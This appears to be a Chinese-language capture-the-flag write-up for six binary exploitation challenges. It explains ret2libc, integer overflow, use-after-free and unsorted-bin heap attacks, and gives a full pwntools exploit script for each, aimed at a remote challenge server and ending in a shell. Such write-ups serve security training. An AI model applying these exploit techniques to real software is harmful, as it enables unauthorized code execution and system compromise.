# pwn1

都说了是测试 nc 了,连上就直接可以拿到 flag

# pwn2

给我们个 password,你再传回去就完了
关键是要仔细读题,看仔细到底哪些是 password

from pwn import *
r=remote("219.219.61.234",6666 )
print(r.recvuntil(b'*\n').decode())
p=r.recvuntil(b'\n')[:-1]
print(bytes(p))
r.sendline(bytes(p))
r.interactive()

# pwn3

ret2libc
泄露 libc 中 puts 函数的地址
传入 puts_got,得到 puts 的运行时的地址,
用 libc.symbols [“system”] - libc.symbols [“puts”] 得到 system 和 puts 的距离,
加上之前接收的 puts 运行时的地址,得到 system 运行的地址,
然后直接用 elf.search ('sh\x00').next () 找到 sh 的地址
没开 canary,
0x38, 所以 payload 填 60 个 a, 然后传 system 地址 + sh 地址,就可以 getshell 了

from pwn import *
#r = process(b'./pwn3')
r=remote('219.219.61.234',10003)
elf = ELF(b'./pwn3')
libc = ELF(b'./libc.so.6')
print(r.recv().decode())
puts_got = elf.got['puts']
print(puts_got)
r.send(str(puts_got).encode())
r.recvuntil(b' : ')
puts_addr = int(r.recvuntil(b'\n')[:-1],16)
print(puts_addr)
system_addr = puts_addr + libc.symbols["system"] - libc.symbols["puts"]
print(system_addr)
p = b'a'*60 + p32(system_addr) + p32(0xdeadbeef) + p32(elf.search(b'sh\x00').__next__())
r.recvuntil(b' :')
r.sendline(p)
r.interactive()

# pwn4

没开 canary,但是前两个地方不能栈溢出,
image-20230425232110426
而又观察到 v3 刚好是个 unsigned int8 型的变量,可以利用整数溢出的漏洞,
它的最大值位 255,所以只要保证一共填了 255+4 ~ +8 之间的个数就行

from pwn import *
#r = process('./pwn4')
r = remote("219.219.61.234",10004 )
backdoor=0x0804868B
p = b'a'*0x18 + p32(backdoor) + b'a'*(259-0x18-4)
r.recvuntil(b'choice:')
r.sendline(b'1')
r.recvuntil(b'username:')
r.sendline(b'123')
r.recvuntil(b'passwd:')
r.sendline(p)
r.interactive()

# pwn5

Use After Free 漏洞
指针 free 之后没有置空,下次在访问该指针时能访问到原指针所指向的堆内容
添加两个 note 之后,依次释放。再创建大小为 8 的 note 时,内容部分对应被分配到第一个 note 里面,而它的指针没有置空,
所以如果我们在新的 note 里面放后门函数的地址的话,print 新 note 的内容的时候,就会执行这个后门函数

from pwn import *
#r = process(b'./pwn5')
r=remote('219.219.61.234',10000)
backdoor=0x08048986
def add(size,content):
    r.recvuntil(b':')
    r.sendline(b'1')
    r.recvuntil(b':')
    r.sendline(str(size))
    r.recvuntil(b':')
    r.send(content)
def delete(idx):
    r.recvuntil(b':')
    r.sendline(b'2')
    r.recvuntil(b':')
    r.sendline(str(idx))    
def Print(idx):
    r.recvuntil(b':')
    r.sendline(b'3')
    r.recvuntil(b':')
    r.sendline(str(idx))
add(32,'aaaa')
add(32,'aaaa')
delete(0)
delete(1)
add(8,p32(backdoor))
Print(0)
r.interactive()

# pwn6

堆溢出漏洞 + unsorted bin attack
只要控制 v3=4869,同时控制 qword_6020C0 大于 0x1305,就可以了
image-20230425232125920
观察到 v3=2 对应的函数里面有堆溢出漏洞,所以可以利用堆溢出漏洞修改堆块的 bk 指针为 qword_6020C0 的地址 - 16

from pwn import *
#r = process('./pwn6')
r = remote("219.219.61.234",10001 )
elf=ELF(B'./pwn6')
def create(size,content):
    r.recvuntil(b':')
    r.sendline(b'1')
    r.recvuntil(b':')
    r.sendline(str(size))
    r.recvuntil(b':')
    r.sendline(content)
def edit(idx,size,content):
    r.recvuntil(b':')
    r.sendline(b'2')
    r.recvuntil(b':')
    r.sendline(str(idx))
    r.recvuntil(b':')
    r.sendline(str(size))
    r.recvuntil(b':')
    r.sendline(content)
def delete(idx):
    r.recvuntil(b':')
    r.sendline(b'3')
    r.recvuntil(b':')
    r.sendline(str(idx))
create(0x20,'aaaa')
create(0x80,'bbbb')
create(0x20,'cccc')
delete(1)
magic = 0x6020C0
fd = 0
bk = magic -0x10
edit(0,0x40,b'a' * 0x20 + p64(0) + p64(0x91) + p64(fd) + p64(bk)) 
create(0x80,b'aaaa')
r.recvuntil(b':')
r.sendline(b'4869')
r.interactive()